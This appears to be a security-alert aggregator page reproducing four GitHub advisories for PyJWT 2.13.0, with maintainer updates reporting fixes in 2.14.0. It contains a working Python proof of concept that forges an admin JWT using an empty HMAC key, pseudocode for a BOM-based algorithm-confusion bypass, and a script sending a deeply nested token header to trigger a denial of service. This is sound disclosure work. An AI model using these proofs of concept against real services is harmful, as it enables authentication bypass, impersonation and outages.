Where
AND
-Infinity
0
Severity
9.1
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

A service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated.

PyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw str/bytes key path, but accepts the same zero-length key when it is supplied as a symmetric PyJWK.

An oct JWK containing an empty Base64URL key value:

json {"kty":"oct","k":""}

is decoded to b"". During signature verification, the PyJWK path uses this decoded value directly and does not invoke the empty-key validation in HMACAlgorithm.preparekey. With the default enforceminimumkeylength=False, PyJWT emits a warning and proceeds with HMAC verification using the zero-length key.

An attacker can independently calculate HMAC-SHA256(b"", signinginput) and create valid HS256 JWTs with arbitrary claims. A service that verifies HS256 tokens using an empty oct JWK through PyJWK or PyJWKSet can therefore accept attacker-generated tokens as authenticated.

The application must already contain an empty HMAC JWK, for example because a missing Base64URL configuration or secret-manager value was serialized as "k": "". The attacker does not need control of the JWK/JWKS source, a signing oracle, a private key, or a mixed algorithm allow-list.

Details

The vulnerability is caused by inconsistent validation of the same HMAC key material depending on whether it enters PyJWT as a raw key or through PyJWK.

Raw empty HMAC keys are rejected

[HMACAlgorithm.preparekey](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357) rejects an empty HMAC key.

As a result, an empty raw key is rejected in PyJWT 2.13.0:

python jwt.decode(token, b"", algorithms=["HS256"])

with InvalidKeyError.

Empty oct JWKs decode to the same key but are accepted

[HMACAlgorithm.fromjwk](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394) handles symmetric JWKs.

For:

json { "kty": "oct", "k": "" }

the empty Base64URL value is decoded to:

python b""

and returned without an emptiness check.

[PyJWK.init](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/apijwk.py#L73-L82) then stores the decoded value in self.key.

The resulting PyJWK therefore contains the same zero-length byte string rejected by the raw-key path.

PyJWK verification bypasses the raw-key validation

[PyJWS.verifysignature](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/apijws.py#L389-L416) has a separate path for PyJWK objects.

When a PyJWK is supplied, verification uses its already-decoded key directly:

python preparedkey = key.key

The value is not passed through:

python algobj.preparekey(key.key)

so the empty-key check in HMACAlgorithm.preparekey is never reached.

The minimum HMAC key-length check does not reject the key under the default configuration. With enforceminimumkeylength=False, PyJWT emits a warning and continues signature verification.

The verifier therefore receives:

python b""

as the HS256 key.

This creates the following difference for identical cryptographic key material:

text raw b"" -> HMACAlgorithm.preparekey -> InvalidKeyError

{"kty":"oct","k":""} -> HMACAlgorithm.fromjwk -> b"" -> PyJWK.key -> PyJWS.verifysignature -> HMAC verification with b"" -> accepted

Because the HMAC key is the known zero-length byte string, an attacker can calculate the correct HS256 signature for arbitrary JWT signing input without knowing an application secret.

This is not the raw-JWK HMAC-confusion issue addressed by CVE-2026-48526. That issue involves raw public JWK material and mixed asymmetric/HMAC algorithm families. This issue uses an oct symmetric JWK, HS256 only, and the PyJWK verification path. No asymmetric key, mixed algorithm allow-list, or attacker-controlled key-discovery mechanism is required.

The issue was reproduced against PyJWT 2.13.0 and commit:

text 7144e4534c34810f4525dc4578a32addd8212cff

which was the tip of the public master branch at the time of testing.

PoC

The following PoC reproduces the issue on PyJWT 2.13.0.

It models an application with a static JWK Set containing an empty symmetric HMAC key. The attacker does not control the JWK Set.

Install PyJWT 2.13.0:

bash python -m venv venv source venv/bin/activate pip install "PyJWT==2.13.0"

Save the following as poc.py:

python import base64 import hashlib import hmac import json import time import warnings

import jwt from jwt import PyJWKSet from jwt.exceptions import InvalidKeyError, InvalidSignatureError

def b64u(value: bytes) -> bytes: return base64.urlsafeb64encode(value).rstrip(b"=")

now = int(time.time()) header = b64u(json.dumps({"alg": "HS256", "kid": "active"}, separators=(",", ":")).encode()) payload = b64u( json.dumps( {"sub": "attacker", "admin": True, "iat": now, "exp": now + 300}, separators=(",", ":"), ).encode() ) signinginput = header + b"." + payload forged = ( signinginput + b"." + b64u(hmac.new(b"", signinginput, hashlib.sha256).digest()) ).decode()

jwk = PyJWKSet.fromdict( { "keys": [ { "kty": "oct", "k": "", "kid": "active", "alg": "HS256", "use": "sig", } ] } )["active"]

with warnings.catchwarnings(): warnings.simplefilter("ignore") claims = jwt.decode( forged, jwk, algorithms=["HS256"], options={"require": ["exp"]}, )

assert claims["sub"] == "attacker" assert claims["admin"] is True print("VULNERABLE:", claims)

try: jwt.decode(forged, b"", algorithms=["HS256"]) except InvalidKeyError: print("CONTROL raw empty key: rejected") else: raise AssertionError("raw empty key was accepted")

try: jwt.decode( forged, jwk, algorithms=["HS256"], options={"enforceminimumkeylength": True}, ) except InvalidKeyError: print("CONTROL strict PyJWK: rejected") else: raise AssertionError("strict PyJWK was accepted")

realkey = PyJWKSet.fromdict( { "keys": [ { "kty": "oct", "k": "cmVhbC1zZWNyZXQ", "kid": "active", "alg": "HS256", } ] } )["active"]

try: with warnings.catchwarnings(): warnings.simplefilter("ignore") jwt.decode(forged, realkey, algorithms=["HS256"]) except InvalidSignatureError: print("CONTROL non-empty PyJWK: rejected") else: raise AssertionError("non-empty PyJWK accepted an empty-key forgery")

Run:

bash python poc.py

Observed output:

text VULNERABLE: {'sub': 'attacker', 'admin': True, 'iat': <now>, 'exp': <now+300>} CONTROL raw empty key: rejected CONTROL strict PyJWK: rejected CONTROL non-empty PyJWK: rejected

The first result demonstrates that a JWT signed with the known zero-length HMAC key is accepted when the verification key is supplied through PyJWK.

The first control supplies the same key material directly as b"". PyJWT 2.13.0 rejects it with InvalidKeyError.

The second control enables enforceminimumkeylength, which also rejects the empty PyJWK.

The third control changes only the JWK key material to a non-empty value. The same forged token then fails with InvalidSignatureError.

I also reproduced the result through the following verification paths:

python jwt.decode(token, PyJWK, algorithms=["HS256"]) jwt.decode(token, PyJWK) jwt.PyJWT().decode(token, PyJWK, algorithms=["HS256"]) PyJWS().decode(token, PyJWK, algorithms=["HS256"])

All accepted an HS256 token whose signature was generated using the zero-length HMAC key.

As an execution-path check, after constructing the PyJWK, I replaced HMACAlgorithm.preparekey with a function that immediately raises. Verification using the PyJWK still accepted the forged token, while the raw-key path reached preparekey and rejected the empty key.

Impact

This is an authentication bypass caused by inconsistent validation of empty HMAC keys.

Affected applications are services that verify HS256 JWTs using PyJWK, PyJWKSet, or another path that produces a PyJWK, where the configured oct JWK contains an empty HMAC key and minimum key-length enforcement is not enabled.

For example, an application could and produces:

json { "kty": "oct", "k": "", "kid": "active", "alg": "HS256" }

when the expected Base64URL secret value is missing.

Once this condition exists, an unauthenticated remote attacker can generate arbitrary HS256 JWTs offline. The attacker knows the effective verification key is b"" and can therefore calculate a valid HMAC for any signing input.

The attacker can choose arbitrary claims such as:

json { "sub": "attacker", "admin": true, "exp": 1787100000 }

and produce a signature that PyJWT accepts as valid.

Depending on how JWT claims are used by the application, successful exploitation can result in authentication bypass, user impersonation, privilege escalation, or unauthorized access to protected resources.

Validation of claims such as exp, aud, iss, or sub does not prevent exploitation when the attacker knows the effective signing key, because the attacker can include the values expected by the application before calculating the signature.

The attacker cannot create the empty JWK through this issue; the application must already be using an empty symmetric JWK. No credentials, user interaction, signing oracle, private key, attacker-controlled JWKS endpoint, or mixed algorithm configuration are required once that condition exists.

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Maintainer update — 2026-09-09

We reproduced the reported discrepancy on PyJWT 2.13.0: an empty oct JWK supplied through PyJWK reached HS256 verification as b"", while the equivalent raw empty key was rejected by HMACAlgorithm.preparekey(). The condition requires an application to already load an empty symmetric JWK, but does not require a mixed algorithm allow-list or attacker-controlled JWK source.

This is in scope under the PyJWT security policy because the same decoded HMAC key material receives inconsistent validation across PyJWT's public verification paths.

The fix is committed as f91ed44dd65baaf457f4b3353ed35e98a753934c. PyJWK verification now routes the decoded key through the selected algorithm's preparekey() validation before checking its minimum key length, keeping PyJWK and raw-key behavior consistent. Regression coverage proves that an authentic HS256 token signed with an empty key is rejected through PyJWK; existing JWS behavior remains covered.

The full suite passes with 392 tests and 4 intentional cryptography-environment skips; the JWS module passes 92 tests with 1 intentional skip. Fresh Astra/max independent review accepted the staged snapshot and verified HMAC, RSA/PSS, EC, and EdDSA compatibility, algorithm binding, warning behavior, minimum-length enforcement, and disabled verification.

The fix has not been released. The advisory remains High with CVSS metadata currently unset, and the patched version remains unset pending release planning.

Classification update — 2026-09-10

We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.

1 / 4
Source: GitHub
First published (updated )
Severity
7.4
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Affected Package

- Package: PyJWT (pyjwt on PyPI) - Repository: https://www.google.com/url?q=https://github.com/jpadilla/pyjwt&source=gmail&ust=1781794518474000&sa=E - Affected version: 2.13.0 - Vulnerability class: Algorithm confusion / patch bypass

---

Root Cause

PyJWT 2.13.0 introduced a guard in HMACAlgorithm.preparekey() (file jwt/algorithms.py, approximately line 344) to prevent RSA public key material from being used as an HMAC secret — the root cause of CVE-2026-48526.

The guard uses bytes.lstrip() before calling startswith(b"{"):

python stripped = keybytes.lstrip() # strips ASCII whitespace only if stripped.startswith(b"{"): # JWK detection ... raise InvalidKeyError("The specified key is an asymmetric key...")

bytes.lstrip() with no argument removes only bytes in the ASCII whitespace set (\x20 \t \n \r \x0b \x0c). A UTF-8 BOM prefix (\xef\xbb\xbf) is not stripped, so stripped.startswith(b"{") returns False for any BOM-prefixed JWK JSON. The JWK detection block is never entered, and the RSA public key bytes are silently accepted as the HMAC-SHA256 secret.

---

PoC Sketch (pseudocode — not a weaponized payload)

python 1. Attacker obtains RSA public key JWK (e.g., from /jwks.json endpoint) and prepends a UTF-8 BOM byte sequence before the JSON opening brace. 2. Attacker signs a JWT using HS256, with the BOM-prefixed JWK as the secret. 3. Attacker submits the forged token to a verifier that: - accepts algorithms=["HS256", "RS256"] - holds the same RSA public key as raw bytes (BOM-prefixed key file) 4. PyJWT 2.13.0 accepts the token because the BOM causes the JWK detection check to be skipped — the RSA JWK bytes become a valid HMAC key. Result: arbitrary claims (role, sub, etc.) accepted by the verifier.

---

Impact

An unauthenticated network attacker who knows the target application's RSA public key — which is public by design and obtainable from a JWKS endpoint or certificate — can forge JWT tokens containing arbitrary claims and have them accepted by a PyJWT 2.13.0 verifier configured with a mixed algorithm set (algorithms=["HS256", "RS256"] or equivalent). The resulting impact is complete authentication and authorization bypass (C:H/I:H). Attack Complexity is High (AC:H) because the attacker must obtain the RSA public key and the verifier must use a mixed-algorithm configuration; no authentication is required (PR:N). This is a patch bypass: users who upgraded to 2.13.0 specifically to remediate CVE-2026-48526 remain vulnerable.

---

Suggested Fix

Option A (minimal): Replace lstrip() with an explicit strip of known BOM prefixes before the JSON detection check:

python Strip common BOM prefixes in addition to ASCII whitespace BOMPREFIXES = (b"\xef\xbb\xbf", b"\xff\xfe", b"\xfe\xff") stripped = keybytes for bom in BOMPREFIXES: if stripped.startswith(bom): stripped = stripped[len(bom):] break stripped = stripped.lstrip()

Option B (more robust): Use json.loads() as the detection mechanism instead of a byte-prefix check, so encoding variants and whitespace are handled by the JSON parser:

python try: testobj = json.loads(keybytes.strip()) if isinstance(testobj, dict) and "kty" in testobj: raise InvalidKeyError("The specified key is an asymmetric key...") except (ValueError, UnicodeDecodeError): pass

Option B is preferred because it is resilient to any future encoding variant.

---

Maintainer update — 2026-09-09

We reproduced the reported algorithm-confusion path on PyJWT 2.13.0. When an application passes a raw public RSA JWK as the key and allows both an asymmetric and HMAC algorithm, a forged HS256 token signed with the known public JWK bytes is accepted when the JWK is represented in encodings accepted by Python's JSON decoder. The normal raw-JWK, asymmetric-only, and algorithm-bound PyJWK controls reject the token. This is an application configuration precondition, but the bypass is in PyJWT's own raw-JWK validation guard and is in scope under the PyJWT security policy.

The fix is committed as 180783930de91876bc0d601f826a1f2956057291. HMACAlgorithm.preparekey() now checks parsed JSON objects for kty across accepted UTF-8/16/32 representations, preserves non-JWK HMAC key bytes, and conservatively rejects deeply nested JSON objects even when parsing reaches the recursion guard. Regression coverage includes BOM and BOM-less encodings, deep non-JWK keys, deep JWK objects, and unpaired-surrogate cases.

The full suite passes with 391 tests and 4 intentional cryptography-environment skips. A fresh Astra/max independent review accepted commit 180783930de91876bc0d601f826a1f2956057291. It independently confirmed encoding/BOM handling, recursion and surrogate behavior, preservation of non-object key compatibility, and the reported test results.

The fix has not been released. The advisory remains High with its existing CVSS 3.1 score of 7.4, and the patched version remains unset pending release planning.

Classification update — 2026-09-10

We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

1 / 4
Source: GitHub
First published (updated )
Severity
7.4
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

PyJWT 2.13.0 contains an incomplete defense against algorithm confusion when an application mixes symmetric and asymmetric algorithms in one verification path. A public RSA, EC, or OKP JWK can be accepted as an HMAC secret when it is wrapped in a JWKS object, nested in an array, or represented in another container form that does not expose a top-level kty member.

Impact

An attacker who knows the public key material can forge HS256/HS384/HS512 tokens if the application simultaneously:

allows both HS and asymmetric algorithms; passes raw public JWK/JWKS JSON as key=; and uses that same value as the HMAC secret.

This can allow forged JWT claims in affected application configurations. The issue does not affect applications that keep symmetric and asymmetric verification paths separate and follow PyJWT's algorithm-selection guidance.

Fix status

The fix is on master in commit 801cd12 (fix: reject public JWK container HMAC keys). HMACAlgorithm.preparekey now rejects public JWK members found in objects, arrays, nested containers, BOM/UTF variants, and recursion-limit inputs. It also recognizes escaped JSON member names without treating ordinary string values as JWKs. Ordinary JSON secrets remain accepted byte-for-byte.

The change was tested with focused regression tests and the full local tox matrix. Available Python 3.9, 3.12, and 3.13 crypto/no-crypto suites, mypy, package metadata, and coverage passed; unavailable interpreters were skipped by the project configuration. A fresh independent Astra/max security review accepted the final diff with no blocking findings.

The affected range is = 2.13.0. The fix is on the unreleased development branch; the patched version will be recorded when a released 2.x version containing the fix is available. This advisory is being moved to draft pending that release.

Reporter credit

Credit: Charles Vosburgh / Trilobyte.

Original report

The original report and reproduction package are retained in the private advisory record.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

1 / 4
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Package

pyjwt (PyPI)

Affected versions

tested & verified on: 2.13.0. Every version whose PyJWS.load() translates only ValueError is affected

Description

PyJWS.looad() (jwt/apijws.py:337) splits the compact token, base64url decodes the header segment and hands it to json.loads() before verifysignature() runs. The parse is wrapped in except ValueError as e: raise DecodeError(...). That is what makes the documented contract sufficient for untrusted input: except jwt.PyJWTError (or InvalidTokenError) around jwt.decode(token, key, algorithms=[...]).

CPython's JSON decoder raises RecursionError (a RuntimeError subclass, not a ValueError) once nesting crosses the native stack guard. That exception leaves load(), then jwt.decode(), and matches no PyJWTError handlerr at all. No key and no valid signature are needed: the header is parsed first, so a single unauthenticated request with an unsigned token suffices.

Scope: the recursion threshold is ~65,000 nesting levels; below it the same input yields a clean DecodeError (a 346,800-byte flat header is rejected normally, so depth, not size, is the trigger). A token this large cannot ride in an Authorization header (rejected at HTTP field limits,431 under gunicorn), but body transport (RFC 7662 introspection style) is a standard pattern. Under Flask 3.1.3 / gunicorn 26.2.0 each crafted request returns HTTP 500 instead of 401 and writes a full traceback to the error log; the sync worker survives.

Proof of concept

Against any endpoint that validates a token from its JSON body with the documented pattern:

python import base64, json, http.client

def b64url(b): return base64.urlsafeb64encode(b).rstrip(b"=")

unsigned token: the header segment is 200,000 nested '[' (266,681 bytes total) token = (b64url(b"[" 200000) + b"." + b64url(b'{"a":1}') + b"." + b64url(b"x")).decode()

conn = http.client.HTTPConnection("127.0.0.1", 8125, timeout=30) conn.request("POST", "/api/protected", body=json.dumps({"token": token}), headers={"Content-Type": "application/json"}) print(conn.getresponse().status) # 500, expected 401

Determinism: 20/20 crafted requests returned 500 against the reference container (PyJWT 2.13.0, Flask 3.1.3, gunicorn 26.2.0, Python 3.14.7) in 0.12 s (about 6 ms per request in a tight loop, 14 ms for a cold request), each leaving a RecursionError: Stack overflow ... while decoding a JSON array traceback in the error log.

Impact

An unauthenticated attacker can turn every request to a JWT validating endpoint into a server error with a full traceback logged per request, a cheap and repeatable denial of service on the authentication path (no crash, no data exposure).

Fix

Catch RecursionError alongside ValueError in load() and raise DecodeError, or parse the header with a nonrecursive, depthbounded parser.

Reproduction

A standalone package (docker-compose.yml, Dockerfile, requirements.txt, target app, driver) accompanies this report:

cd <package dir> docker compose up -d --build python3 poccheckthenattack.py docker compose down -v pocpyjwtrecursion.zip

Exit 0= reproduced (control checks green, exactly one crafted request returns 500, traceback verified in docker logs, service alive afterwards); 1 = not reproduced; 2 = checks failed, no attack sent. The package's runlog.txt documents a complete proof run.

Credits

- @Nivid42

Maintainer update — 2026-09-09

We reproduced the reported behavior on PyJWT 2.13.0: a deeply nested JSON array in the untrusted compact-JWS header reaches json.loads() before signature verification and raises RecursionError, which is not a PyJWTError. The same input is accepted by the public jwt.decode() path and can escape an application's normal except PyJWTError handling.

The fix is committed as 06573692ebcdec8831c3927513b3e87c31fbbb62. PyJWS.load() now translates both ValueError and RecursionError from header JSON parsing into DecodeError. A regression test covers the deeply nested-header path before signature verification. The full suite passes with 373 tests and 4 intentional cryptography-environment skips.

No release containing the fix has been published yet, so the patched version remains unset pending release planning. The advisory remains medium severity and unpublished.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

1 / 3
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203